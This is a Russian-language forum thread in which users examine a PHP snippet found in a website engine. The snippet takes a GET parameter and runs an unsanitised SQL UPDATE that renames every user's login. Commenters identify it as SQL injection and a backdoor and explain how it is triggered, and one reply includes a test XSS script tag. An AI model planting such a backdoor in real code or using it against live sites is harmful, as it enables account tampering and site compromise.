Свободное общение | Что за код )?
123123 
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
Sql_injection if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
e.n.[Z].z.o PHP7.4 (19.06.2020 в 14:46)
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
Судя по коду, переименовывает всем ники
e.n.[Z].z.o , нах он в двиге ))
e.n.[Z].z.o (19.06.2020 в 14:48)
Судя по коду, переименовывает всем ники
Судя по коду, переименовывает всем ники
<script>alert('aa');</script>
Lucifer PHP7.4 (19.06.2020 в 14:46)
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
Бэкдор.
PHP7.4 (19.06.2020 в 14:46)
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
Нашел в одном двиге.
if($_GET['include'] == security) {
mysql_query("update `users` set `login` = '".$_GET['admin']."'");
}
По русски говоря если вставить в адресную строку ?include= и то что равно константе security (которая почему то с маленькой буквы начинается) то все данные в колонке login в таблице users будут равны ?admin
нет же там 2 гет значит админ его все устанавливает желаемый ник
